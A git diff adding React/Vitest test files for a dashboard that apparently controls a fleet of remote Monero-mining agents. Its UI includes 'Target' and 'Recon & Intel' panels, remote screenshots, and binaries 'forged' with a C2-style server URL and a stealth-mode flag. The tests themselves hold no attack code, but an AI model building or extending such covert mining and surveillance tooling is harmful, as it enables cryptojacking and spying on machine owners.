|
||||
/>
|
||||
);
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
|
||||
await waitFor(() => expect(cmd).toHaveBeenCalledWith('a1', 'pause', {}));
|
||||
});
|
||||
|
||||
it('full panel shows Target heading and recon section', async () => {
|
||||
render(<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument();
|
||||
expect(screen.getByText(/Awaiting telemetry/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('disables recon buttons when agent offline', async () => {
|
||||
render(<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { name: /Target:/i })).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('AgentListItem', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
const baseProps = {
|
||||
agent: mockAgent({ name: 'List Node', tags: ['rack'], notes: 'a'.repeat(90) }),
|
||||
selected: false,
|
||||
expanded: false,
|
||||
onToggleExpand: vi.fn(),
|
||||
onSelect: vi.fn(),
|
||||
};
|
||||
|
||||
it('renders name, status, and click hint when collapsed', () => {
|
||||
render(<AgentListItem {...baseProps} />);
|
||||
expect(screen.getByText('List Node')).toBeInTheDocument();
|
||||
expect(screen.getByText('online')).toBeInTheDocument();
|
||||
expect(screen.getByText('click for details')).toBeInTheDocument();
|
||||
expect(screen.getByText('rack')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('truncates long notes preview when collapsed', () => {
|
||||
render(<AgentListItem {...baseProps} />);
|
||||
const preview = screen.getByText(/…$/);
|
||||
expect(preview.textContent!.length).toBeLessThanOrEqual(81);
|
||||
});
|
||||
|
||||
it('expands meta and remote actions', async () => {
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
render(<AgentListItem {...baseProps} expanded selectable checked onCheck={vi.fn()} />);
|
||||
expect(screen.getByText(/Shares:/)).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: 'Pause' })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('checkbox stops row navigation', async () => {
|
||||
const onCheck = vi.fn();
|
||||
render(<AgentListItem {...baseProps} selectable onCheck={onCheck} />);
|
||||
await userEvent.setup().click(screen.getByRole('checkbox'));
|
||||
expect(onCheck).toHaveBeenCalledWith(true);
|
||||
expect(baseProps.onSelect).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('FleetToolbar', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
const filters = { ...DEFAULT_FLEET_FILTERS };
|
||||
const agents = [
|
||||
mockAgent({ tags: ['prod'], ip: '10.0.0.5' }),
|
||||
mockAgent({ id: 'a2', name: 'B', tags: ['dev'], ip: '10.0.1.2' }),
|
||||
];
|
||||
|
||||
it('renders search and filter controls', () => {
|
||||
render(
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={vi.fn()}
|
||||
selectedCount={0}
|
||||
onBulkAction={vi.fn()}
|
||||
bulkBusy={false}
|
||||
/>
|
||||
);
|
||||
expect(screen.getByPlaceholderText('Search name, IP, notes, tags…')).toBeInTheDocument();
|
||||
expect(screen.getByText('All tags')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows bulk bar when agents selected', async () => {
|
||||
const onBulk = vi.fn();
|
||||
render(
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={vi.fn()}
|
||||
selectedCount={2}
|
||||
onBulkAction={onBulk}
|
||||
bulkBusy={false}
|
||||
/>
|
||||
);
|
||||
expect(screen.getByText('2 selected')).toBeInTheDocument();
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
|
||||
expect(onBulk).toHaveBeenCalledWith('pause');
|
||||
});
|
||||
|
||||
it('shows select-all filtered when props provided', () => {
|
||||
const onSelectAll = vi.fn();
|
||||
render(
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={vi.fn()}
|
||||
selectedCount={0}
|
||||
onBulkAction={vi.fn()}
|
||||
bulkBusy={false}
|
||||
filteredCount={3}
|
||||
onSelectAllFiltered={onSelectAll}
|
||||
/>
|
||||
);
|
||||
fireEvent.click(screen.getByRole('button', { name: 'Select all filtered (3)' }));
|
||||
expect(onSelectAll).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('LanDownloadQR', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('returns null without url', () => {
|
||||
const { container } = render(<LanDownloadQR url="" />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('renders canvas when url provided', () => {
|
||||
const { container } = render(<LanDownloadQR url="http://192.168.1.5:8080/get" />);
|
||||
expect(container.querySelector('canvas')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
describe('FleetPanels', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('AlertBanner returns null when empty', () => {
|
||||
const { container } = render(<AlertBanner alerts={[]} />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('AlertBanner shows up to five alerts', () => {
|
||||
const alerts = [
|
||||
{ id: '1', level: 'warning', type: 'offline', message: 'Node down', timestamp: '2026-05-30T12:00:00Z' },
|
||||
];
|
||||
render(<AlertBanner alerts={alerts} />);
|
||||
expect(screen.getByText('OFFLINE')).toBeInTheDocument();
|
||||
expect(screen.getByText('Node down')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('PoolStatusPanel empty hint', () => {
|
||||
render(<PoolStatusPanel pools={[]} />);
|
||||
expect(screen.getByRole('heading', { name: /Pool Stratum Status/i })).toBeInTheDocument();
|
||||
expect(screen.getByText(/No forged pool connections yet/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('AIActivityPanel maps agent names', () => {
|
||||
render(
|
||||
<AIActivityPanel
|
||||
entries={[
|
||||
{
|
||||
agent_id: 'agent-001-uuid',
|
||||
last_tool: 'pause',
|
||||
last_success: true,
|
||||
},
|
||||
]}
|
||||
agentNames={{ 'agent-001-uuid': 'Friendly' }}
|
||||
/>
|
||||
);
|
||||
expect(screen.getByText('Friendly')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('FleetHealthCard shows score and label', () => {
|
||||
render(
|
||||
<FleetHealthCard
|
||||
health={{
|
||||
score: 88,
|
||||
color: 'green',
|
||||
label: 'NOMINAL',
|
||||
sentence: 'All good',
|
||||
issues: [],
|
||||
}}
|
||||
/>
|
||||
);
|
||||
expect(screen.getByText('NOMINAL')).toBeInTheDocument();
|
||||
expect(screen.getByText('88')).toBeInTheDocument();
|
||||
expect(screen.getByText('All good')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('ContributionBars returns null when empty', () => {
|
||||
const { container } = render(<ContributionBars bars={[]} />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('ContributionBars renders rows', () => {
|
||||
render(
|
||||
<ContributionBars
|
||||
bars={[{ id: '1', name: 'A', hashrate: 1000, pct: 50 }]}
|
||||
xmrPerDay={0.01}
|
||||
xmrPrice={100}
|
||||
/>
|
||||
);
|
||||
expect(screen.getByRole('heading', { name: /Contribution Map/i })).toBeInTheDocument();
|
||||
expect(screen.getByText('A')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('OSArchBreakdown returns null when empty', () => {
|
||||
const { container } = render(<OSArchBreakdown platforms={[]} />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('LANGroupView needs at least two groups', () => {
|
||||
const { container } = render(
|
||||
<LANGroupView groups={[{ subnet: '10.0.0.0/24', agents: [mockAgent()] }]} />
|
||||
);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('EarningsEstimator returns null when hashrate zero', () => {
|
||||
const { container } = render(<EarningsEstimator hashrate={0} xmrPrice={100} />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('UnderperformerList restart calls bulk API', async () => {
|
||||
const agents = [mockAgent({ id: 'u1', name: 'Slow' })];
|
||||
const bulk = vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({ success: true, sent: 1, failed: 0, action: 'restart' });
|
||||
render(<UnderperformerList underperformers={agents} medianHashrate={10000} />);
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: /Restart All/i }));
|
||||
await waitFor(() => expect(bulk).toHaveBeenCalledWith(['u1'], 'restart'));
|
||||
expect(await screen.findByText(/Restart sent to 1/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
describe('ForgeFieldHints', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('ForgeLockedHint null without meta', () => {
|
||||
const { container } = render(<ForgeLockedHint />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('ForgeFieldBadge shows baked label', () => {
|
||||
render(<ForgeFieldBadge meta={{ badge: 'baked' }} />);
|
||||
expect(screen.getByText('⛏ baked')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('ForgeSectionHeader renders title and badge', () => {
|
||||
render(
|
||||
<ForgeSectionHeader title="Pool" description="Pool settings" badge="server-only" />
|
||||
);
|
||||
expect(screen.getByRole('heading', { name: 'Pool' })).toBeInTheDocument();
|
||||
expect(screen.getByText(/server/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
describe('VisualComponents', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('PipelineFlow highlights active step', () => {
|
||||
render(<PipelineFlow activeStep="forge" />);
|
||||
expect(document.querySelector('.pipeline-active')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('FleetPipelineStatus shows step labels', () => {
|
||||
render(
|
||||
<FleetPipelineStatus
|
||||
hasBuilds
|
||||
agentCount={2}
|
||||
onlineCount={1}
|
||||
hasHashrate
|
||||
hasShares={false}
|
||||
/>
|
||||
);
|
||||
expect(screen.getByText('Forged')).toBeInTheDocument();
|
||||
expect(screen.getByText('Shares')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('ActivityPulse empty message', () => {
|
||||
render(<ActivityPulse items={[]} />);
|
||||
expect(screen.getByText(/Awaiting fleet activity/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('ForgeCalibrateCompare links to routes', () => {
|
||||
render(
|
||||
<MemoryRouter>
|
||||
<ForgeCalibrateCompare />
|
||||
</MemoryRouter>
|
||||
);
|
||||
expect(screen.getByText(/Forge — baked into each binary/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('RoadmapGrid lists features', () => {
|
||||
render(<RoadmapGrid />);
|
||||
expect(document.querySelectorAll('.roadmap-card').length).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('MatrixStreamOverlay', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
beforeEach(() => {
|
||||
useWebSocketMock.mockReturnValue({
|
||||
isConnected: true,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
});
|
||||
});
|
||||
|
||||
it('returns null when inactive', () => {
|
||||
const { container } = render(<MatrixStreamOverlay active={false} onClose={vi.fn()} />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
|
||||
it('shows overlay heading when active', () => {
|
||||
render(<MatrixStreamOverlay active onClose={vi.fn()} />);
|
||||
expect(screen.getByText('RAW_SOCKET_STREAM [ACTIVE]')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
describe('SystemStatusBar', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
beforeEach(() => {
|
||||
vi.spyOn(api, 'healthCheck').mockResolvedValue(undefined);
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent(), mockAgent({ id: 'a2', status: 'offline' })]);
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([{ id: 'b1' } as never]);
|
||||
});
|
||||
|
||||
it('shows server and fleet pills after poll', async () => {
|
||||
render(
|
||||
<MemoryRouter>
|
||||
<SystemStatusBar />
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText(/SERVER UP/i)).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText(/FLEET 1\/2 ONLINE/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/1 BUILD/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
describe('FleetTopologyMap', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders canvas wrapper for agents', () => {
|
||||
render(<FleetTopologyMap agents={[mockAgent()]} />);
|
||||
expect(screen.getByTestId('three-canvas')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
describe('AmbientBackground', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders ambient layers and sacred geometry svg', () => {
|
||||
const { container } = render(<AmbientBackground />);
|
||||
expect(container.querySelector('.ambient-bg')).toBeTruthy();
|
||||
expect(container.querySelector('.ambient-sacred-geo')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
describe('CursorFire', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('mounts fullscreen canvas', () => {
|
||||
const { container } = render(<CursorFire />);
|
||||
expect(container.querySelector('canvas')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
describe('MatrixRain', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
beforeEach(() => {
|
||||
useWebSocketMock.mockReturnValue({
|
||||
isConnected: true,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
});
|
||||
});
|
||||
|
||||
it('renders matrix rain canvas wrapper', () => {
|
||||
const { container } = render(<MatrixRain />);
|
||||
expect(container.querySelector('canvas')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Layout', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
beforeEach(() => {
|
||||
useWebSocketMock.mockReturnValue({
|
||||
isConnected: true,
|
||||
agents: [mockAgent()],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
});
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
});
|
||||
|
||||
it('renders nav links and children', async () => {
|
||||
render(
|
||||
<MemoryRouter initialEntries={['/dashboard']}>
|
||||
<Layout>
|
||||
<div>page body</div>
|
||||
</Layout>
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('page body')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /Fleet Roster/i })).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
55
server/web/src/context/ForgeContext.test.tsx
Normal file
55
server/web/src/context/ForgeContext.test.tsx
Normal file
@@ -0,0 +1,55 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { act, renderHook } from '@testing-library/react';
|
||||
import { ForgeProvider, useForge } from './ForgeContext';
|
||||
|
||||
describe('ForgeContext', () => {
|
||||
const wrapper = ({ children }: { children: React.ReactNode }) => (
|
||||
<ForgeProvider>{children}</ForgeProvider>
|
||||
);
|
||||
|
||||
it('starts with idle forge state', () => {
|
||||
const { result } = renderHook(() => useForge(), { wrapper });
|
||||
expect(result.current.forging).toBe(false);
|
||||
expect(result.current.stage).toBe('');
|
||||
expect(result.current.progress).toBe(0);
|
||||
});
|
||||
|
||||
it('startForge sets initializing state', () => {
|
||||
const { result } = renderHook(() => useForge(), { wrapper });
|
||||
|
||||
act(() => result.current.startForge());
|
||||
|
||||
expect(result.current.forging).toBe(true);
|
||||
expect(result.current.stage).toBe('Initializing forge...');
|
||||
expect(result.current.progress).toBe(0);
|
||||
});
|
||||
|
||||
it('setStage updates stage and progress while forging', () => {
|
||||
const { result } = renderHook(() => useForge(), { wrapper });
|
||||
|
||||
act(() => {
|
||||
result.current.startForge();
|
||||
result.current.setStage('Compiling', 42);
|
||||
});
|
||||
|
||||
expect(result.current.stage).toBe('Compiling');
|
||||
expect(result.current.progress).toBe(42);
|
||||
});
|
||||
|
||||
it('endForge resets state', () => {
|
||||
const { result } = renderHook(() => useForge(), { wrapper });
|
||||
|
||||
act(() => {
|
||||
result.current.startForge();
|
||||
result.current.setStage('Done', 100);
|
||||
result.current.endForge();
|
||||
});
|
||||
|
||||
expect(result.current.forging).toBe(false);
|
||||
expect(result.current.stage).toBe('');
|
||||
expect(result.current.progress).toBe(0);
|
||||
});
|
||||
});
|
||||
43
server/web/src/context/WebSocketContext.test.tsx
Normal file
43
server/web/src/context/WebSocketContext.test.tsx
Normal file
@@ -0,0 +1,43 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { renderHook } from '@testing-library/react';
|
||||
import { WebSocketContext, useWebSocketContext } from './WebSocketContext';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
|
||||
describe('WebSocketContext', () => {
|
||||
it('useWebSocketContext returns default value outside provider', () => {
|
||||
const { result } = renderHook(() => useWebSocketContext());
|
||||
|
||||
expect(result.current.isConnected).toBe(false);
|
||||
expect(result.current.agents).toEqual([]);
|
||||
expect(result.current.commandResults).toEqual([]);
|
||||
expect(result.current.latestMessage).toBeNull();
|
||||
});
|
||||
|
||||
it('useWebSocketContext reads provider value', () => {
|
||||
const value = {
|
||||
isConnected: true,
|
||||
agents: [mockAgent()],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: { 'agent-001-uuid': 'log line' },
|
||||
commandResults: [{ agent_id: 'a1', action: 'pause', success: true, _seq: 1 }],
|
||||
latestMessage: null,
|
||||
};
|
||||
|
||||
const wrapper = ({ children }: { children: React.ReactNode }) => (
|
||||
<WebSocketContext.Provider value={value}>{children}</WebSocketContext.Provider>
|
||||
);
|
||||
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
|
||||
expect(result.current.isConnected).toBe(true);
|
||||
expect(result.current.agents).toHaveLength(1);
|
||||
expect(result.current.agentLogs['agent-001-uuid']).toBe('log line');
|
||||
expect(result.current.commandResults[0]._seq).toBe(1);
|
||||
});
|
||||
});
|
||||
180
server/web/src/context/WebSocketProvider.test.tsx
Normal file
180
server/web/src/context/WebSocketProvider.test.tsx
Normal file
@@ -0,0 +1,180 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { act, render, renderHook } from '@testing-library/react';
|
||||
import { WebSocketProvider } from './WebSocketProvider';
|
||||
import { useWebSocketContext } from './WebSocketContext';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { setStoredAuth, clearStoredAuth } from '../api/auth';
|
||||
import { mockAgent, mockShare } from '../test/fixtures';
|
||||
|
||||
type WSListener = ((event: { data: string }) => void) | null;
|
||||
|
||||
class MockWebSocket {
|
||||
static instances: MockWebSocket[] = [];
|
||||
static OPEN = 1;
|
||||
static CONNECTING = 0;
|
||||
static CLOSED = 3;
|
||||
|
||||
url: string;
|
||||
readyState = MockWebSocket.CONNECTING;
|
||||
onopen: (() => void) | null = null;
|
||||
onclose: (() => void) | null = null;
|
||||
onerror: (() => void) | null = null;
|
||||
onmessage: WSListener = null;
|
||||
|
||||
constructor(url: string) {
|
||||
this.url = url;
|
||||
MockWebSocket.instances.push(this);
|
||||
}
|
||||
|
||||
close() {
|
||||
this.readyState = MockWebSocket.CLOSED;
|
||||
this.onclose?.();
|
||||
}
|
||||
|
||||
emitMessage(data: unknown) {
|
||||
this.onmessage?.({ data: JSON.stringify(data) });
|
||||
}
|
||||
|
||||
emitOpen() {
|
||||
this.readyState = MockWebSocket.OPEN;
|
||||
this.onopen?.();
|
||||
}
|
||||
}
|
||||
|
||||
describe('WebSocketProvider', () => {
|
||||
beforeEach(() => {
|
||||
sessionStorage.clear();
|
||||
MockWebSocket.instances = [];
|
||||
vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
|
||||
Object.defineProperty(window, 'location', {
|
||||
value: { protocol: 'http:', host: 'localhost:8080' },
|
||||
configurable: true,
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
function latestSocket() {
|
||||
return MockWebSocket.instances.at(-1)!;
|
||||
}
|
||||
|
||||
function wrapper({ children }: { children: React.ReactNode }) {
|
||||
return <WebSocketProvider>{children}</WebSocketProvider>;
|
||||
}
|
||||
|
||||
it('connects to ws dashboard with auth token query param', () => {
|
||||
setStoredAuth('drjones', 'secret');
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
|
||||
const ws = latestSocket();
|
||||
const token = btoa('drjones:secret');
|
||||
expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`);
|
||||
|
||||
act(() => ws.emitOpen());
|
||||
expect(result.current.isConnected).toBe(true);
|
||||
});
|
||||
|
||||
it('connects without token when logged out', () => {
|
||||
clearStoredAuth();
|
||||
renderHook(() => useWebSocketContext(), { wrapper });
|
||||
expect(latestSocket().url).toBe('ws://localhost:8080/ws/dashboard');
|
||||
});
|
||||
|
||||
it('useWebSocket re-exports context hook', () => {
|
||||
expect(useWebSocket).toBe(useWebSocketContext);
|
||||
});
|
||||
|
||||
it('handles init and agent_online messages', () => {
|
||||
const agent = mockAgent({ id: 'live-1' });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({
|
||||
type: 'init',
|
||||
payload: { agents: [agent] },
|
||||
});
|
||||
});
|
||||
expect(result.current.agents).toEqual([agent]);
|
||||
|
||||
const updated = { ...agent, hashrate_15s: 999 };
|
||||
act(() =>
|
||||
latestSocket().emitMessage({
|
||||
type: 'agent_online',
|
||||
payload: updated,
|
||||
})
|
||||
);
|
||||
expect(result.current.agents[0].hashrate_15s).toBe(999);
|
||||
});
|
||||
|
||||
it('marks agent offline and caps recent shares', () => {
|
||||
const agent = mockAgent({ id: 'a-offline' });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
|
||||
latestSocket().emitMessage({
|
||||
type: 'agent_offline',
|
||||
payload: { agent_id: 'a-offline' },
|
||||
});
|
||||
});
|
||||
expect(result.current.agents[0].status).toBe('offline');
|
||||
|
||||
act(() => {
|
||||
for (let i = 0; i < 55; i++) {
|
||||
latestSocket().emitMessage({
|
||||
type: 'new_share',
|
||||
payload: mockShare({ id: i }),
|
||||
});
|
||||
}
|
||||
});
|
||||
expect(result.current.recentShares.length).toBeLessThanOrEqual(50);
|
||||
});
|
||||
|
||||
it('assigns monotonic _seq on command_result', () => {
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({
|
||||
type: 'command_result',
|
||||
payload: { agent_id: 'a1', action: 'pause', success: true },
|
||||
});
|
||||
latestSocket().emitMessage({
|
||||
type: 'command_result',
|
||||
payload: { agent_id: 'a1', action: 'get_log', success: true, message: 'log data' },
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.commandResults).toHaveLength(2);
|
||||
expect(result.current.commandResults[0]._seq).toBe(1);
|
||||
expect(result.current.commandResults[1]._seq).toBe(2);
|
||||
expect(result.current.agentLogs.a1).toBe('log data');
|
||||
});
|
||||
|
||||
it('schedules reconnect after close', () => {
|
||||
vi.useFakeTimers();
|
||||
renderHook(() => useWebSocketContext(), { wrapper });
|
||||
const first = latestSocket();
|
||||
|
||||
act(() => first.close());
|
||||
expect(MockWebSocket.instances).toHaveLength(1);
|
||||
|
||||
act(() => vi.advanceTimersByTime(3000));
|
||||
expect(MockWebSocket.instances).toHaveLength(2);
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
it('closes socket on unmount', () => {
|
||||
const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close');
|
||||
const { unmount } = render(<WebSocketProvider><span /></WebSocketProvider>);
|
||||
unmount();
|
||||
expect(closeSpy).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -114,6 +114,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
||||
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
||||
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
||||
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
|
||||
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
|
||||
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
|
||||
|
||||
90
server/web/src/help/buildManager.test.ts
Normal file
90
server/web/src/help/buildManager.test.ts
Normal file
@@ -0,0 +1,90 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { blueprintDiff, buildRequestFromRecord } from './buildManager';
|
||||
|
||||
describe('blueprintDiff', () => {
|
||||
it('returns empty diff for identical objects', () => {
|
||||
const base = { a: 1, b: 'two', c: true };
|
||||
expect(blueprintDiff(base, { ...base })).toEqual([]);
|
||||
});
|
||||
|
||||
it('detects added, removed, and changed keys', () => {
|
||||
const base = { keep: 1, gone: 'old', tweak: 'a' };
|
||||
const current = { keep: 1, newKey: true, tweak: 'b' };
|
||||
const diff = blueprintDiff(base, current);
|
||||
expect(diff).toEqual([
|
||||
{ key: 'gone', kind: 'removed', from: 'old' },
|
||||
{ key: 'newKey', kind: 'added', to: true },
|
||||
{ key: 'tweak', kind: 'changed', from: 'a', to: 'b' },
|
||||
]);
|
||||
});
|
||||
|
||||
it('sorts keys alphabetically', () => {
|
||||
const diff = blueprintDiff({ z: 1 }, { a: 2, m: 3, z: 1 });
|
||||
expect(diff.map((d) => d.key)).toEqual(['a', 'm']);
|
||||
});
|
||||
|
||||
it('compares nested values via JSON serialization', () => {
|
||||
const diff = blueprintDiff(
|
||||
{ nested: { x: 1, y: 2 } },
|
||||
{ nested: { x: 1, y: 3 } }
|
||||
);
|
||||
expect(diff).toEqual([
|
||||
{ key: 'nested', kind: 'changed', from: { x: 1, y: 2 }, to: { x: 1, y: 3 } },
|
||||
]);
|
||||
});
|
||||
|
||||
it('treats array order as significant', () => {
|
||||
const diff = blueprintDiff({ tags: ['a', 'b'] }, { tags: ['b', 'a'] });
|
||||
expect(diff).toHaveLength(1);
|
||||
expect(diff[0].kind).toBe('changed');
|
||||
});
|
||||
|
||||
it('handles empty objects', () => {
|
||||
expect(blueprintDiff({}, {})).toEqual([]);
|
||||
expect(blueprintDiff({}, { only: 1 })).toEqual([{ key: 'only', kind: 'added', to: 1 }]);
|
||||
expect(blueprintDiff({ only: 1 }, {})).toEqual([{ key: 'only', kind: 'removed', from: 1 }]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildRequestFromRecord', () => {
|
||||
const record = {
|
||||
worker_name: 'worker-a',
|
||||
server_url: 'https://c2.example.com',
|
||||
wallet: '4' + 'B'.repeat(94),
|
||||
threads: 8,
|
||||
pool_host: 'pool.example.com',
|
||||
pool_port: 443,
|
||||
pool_tls: true,
|
||||
pool_pass: 'secret',
|
||||
};
|
||||
|
||||
it('spreads defaults then overrides with record fields', () => {
|
||||
const defaults = { threads: 4, stealth_mode: true, extra_flag: false };
|
||||
const req = buildRequestFromRecord(record, defaults);
|
||||
expect(req).toMatchObject({
|
||||
...defaults,
|
||||
worker_name: record.worker_name,
|
||||
server_url: record.server_url,
|
||||
wallet: record.wallet,
|
||||
threads: record.threads,
|
||||
pool_host: record.pool_host,
|
||||
pool_port: record.pool_port,
|
||||
pool_tls: record.pool_tls,
|
||||
pool_pass: record.pool_pass,
|
||||
});
|
||||
expect(req.threads).toBe(8);
|
||||
expect(req.stealth_mode).toBe(true);
|
||||
});
|
||||
|
||||
it('record fields win over colliding default keys', () => {
|
||||
const req = buildRequestFromRecord(record, { worker_name: 'ignored', threads: 1 });
|
||||
expect(req.worker_name).toBe('worker-a');
|
||||
expect(req.threads).toBe(8);
|
||||
});
|
||||
|
||||
it('preserves extra default keys not present on record', () => {
|
||||
const req = buildRequestFromRecord(record, { fusion_enabled: true, ai_model: 'llama3.2' });
|
||||
expect(req.fusion_enabled).toBe(true);
|
||||
